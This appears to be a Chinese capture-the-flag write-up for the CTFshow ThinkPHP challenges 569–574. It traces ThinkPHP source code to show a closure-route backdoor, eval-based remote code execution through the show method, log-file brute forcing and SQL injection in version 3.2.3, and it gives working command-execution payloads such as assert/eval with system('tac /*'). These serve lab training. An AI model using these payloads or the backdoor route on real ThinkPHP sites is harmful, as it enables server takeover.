CTFshowThinkPHP专题
ThinkPHP
一些ThinkPHP的基础知识:
569
知道模块化设计就很简单了
典型访问规则
http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]
/index.php/Admin/Login/ctfshowLogin
570
闭包路由,类似于将/后路径作为参数传入,设定闭包路由的文件在文件根目录/Common/Conf/config.php中
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
一个明显的后门,payload如下
/index.php/ctfshow/assert/eval($_POST[1])
POST:
1=system('tac /*');
571
show方法导致的命令执行
渲染内容
如果你没有定义任何模板文件,或者把模板内容存储到数据库中的话,你就需要使用show方法来渲染输出了,show方法的调用格式:
show('渲染内容'[,'字符编码'][,'输出类型'])例如,$this->show($content); 也可以指定编码和类型: $this->show($content, 'utf-8', 'text/xml');
那么我们去看看show方法到底执行了什么
protected function show($content,$charset='',$contentType='',$prefix='') {
$this->view->display('',$charset,$contentType,$content,$prefix);
}
往下看调用的display方法
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
在TMPL_ENGINE_TYPE=='php'
时,关键就在这句话了include $templateFile:eval('?>'.$_content);
此处的$_content
我们是完全可控的,也就可以执行任意命令
而当TMPL_ENGINE_TYPE!='php'
时,执行的Hook中的listen方法,然后执行exec方法,然后run方法,最后加载并包含一个缓存文件
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
}
public function load($_filename,$vars=null){
if(!is_null($vars))
extract($vars, EXTR_OVERWRITE);
eval('?>'.$this->read($_filename));
}
最终payload
/index.php/Home/Index/index?n=<?php%20system(%27tac%20/*%27);?>
572
ThinkPHP日志文件
题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log
来命名的。所以我们可以来爆破文件名
/Application/Runtime/Logs/Home/xx_xx_xx.log
扫出了这么个文件,发现似乎传参showctf可执行php代码,拿到flag
573
ThinkPHP 3.2.3sql注入漏洞
先写个可以调用内置sql查询的主页
class IndexController extends Controller {
public function index(){
$a=M('xxx'); //表名
$id=I('GET.id');
$b=$a->find($id);
var_dump($b);
}
}
在I方法中对输入的内容进行过滤,默认过滤器DEFAULT_FILTER
是不会对单引号做过滤操作的,所以此处不用管,下面走think_filter
方法,这里对一些敏感安全内容进行了过滤
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
OK,输入检查完毕,我们输入的内容进入到find
方法中,这里的注释也对我们传入的参数做了详细的解释,下一步进一步跟踪_parseOptions
方法,继续跟踪_parseType
方法,该方法对内容类型进行解析
/**
* 查询数据
* @access public
* @param mixed $options 表达式参数
* @return mixed
*/
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);
先放一个yu师傅的代码审计,以后再回来看
574